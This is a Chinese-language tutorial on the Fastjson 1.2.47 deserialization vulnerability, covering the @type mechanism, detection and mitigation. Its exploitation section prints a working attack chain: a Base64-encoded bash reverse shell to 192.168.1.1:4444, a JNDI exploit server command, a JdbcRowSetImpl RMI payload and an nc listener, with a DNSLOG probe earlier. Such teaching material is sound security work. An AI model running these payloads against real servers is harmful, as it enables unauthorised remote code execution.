我对Fastjson 漏洞的理解
字数 1048 2025-08-10 16:34:28
Fastjson漏洞分析与利用教学文档
一、Fastjson简介
Fastjson是阿里巴巴开源的一款高性能JSON处理库,主要用于:
- 将Java对象序列化为JSON格式
- 将JSON字符串反序列化为Java对象
序列化与反序列化概念
序列化:将对象转换为可存储或传输的字符串格式
Person person = new Person("John", 30);
String json = JSON.toJSONString(person); // 序列化
反序列化:将字符串重新构造为对象
Person person = JSON.parseObject(json, Person.class); // 反序列化
二、Java原生序列化机制
Java原生序列化要求:
- 类必须实现
Serializable接口 - 未实现该接口的类序列化时会抛出
NotSerializableException
示例:
public class Person implements Serializable {
private String name;
private int age;
// 构造方法、getter和setter
}
三、Fastjson特性与@type字段
Fastjson使用反射技术进行序列化/反序列化,支持通过@type指定目标类:
{
"@type": "com.example.Person",
"name": "John",
"age": 18
}
@type的作用:
- 明确指定反序列化的目标类
- 解决多个类有相同属性时的歧义问题
四、Fastjson漏洞原理
漏洞核心:攻击者通过控制@type属性,指定Java类库中的危险类并操纵其属性,导致任意代码执行。
漏洞利用链
- 通过
@type指定可被利用的类(如java.net.Inet4Address) - 控制类属性触发恶意行为(如DNS查询、JNDI注入)
五、漏洞探测方法
1. 报错探测
发送不完整JSON数据观察返回:
{"age":18
2. DNSLOG探测
验证Fastjson是否可出网:
{
"x":{
"@type":"java.net.Inet4Address",
"val":"attacker.dnslog.cn"
}
}
六、漏洞利用实战
环境要求
- Fastjson 1.2.47版本
- Java 1.8环境
利用工具
JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
攻击步骤
- 准备反弹Shell命令(Base64编码):
bash -i >& /dev/tcp/192.168.1.1/4444 0>&1
# 编码后:
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjEvNDQ0NCAwPiYx
- 启动JNDI服务:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \
-C "bash -c {echo,YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" \
-A 192.168.1.1
- 构造恶意Payload:
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.1.1:1099/exploit",
"autoCommit":true
}
}
- 监听端口:
nc -lvnp 4444
七、防御措施
- 升级Fastjson到最新安全版本
- 关闭
autoType功能 - 使用白名单机制限制可反序列化的类
- 对输入进行严格过滤
八、技术要点总结
- Fastjson通过
@type实现动态类加载 - 漏洞利用依赖JNDI注入和RMI/LDAP协议
- 攻击链:控制类加载 → 触发恶意行为 → 实现RCE
- Java 8u191+版本默认关闭JNDI远程类加载
附录:关键类说明
com.sun.rowset.JdbcRowSetImpl:漏洞利用常用类java.net.Inet4Address:用于DNS探测javax.naming.InitialContext:JNDI查找入口点
注意:本文仅用于安全研究学习,未经授权测试他人系统属于违法行为。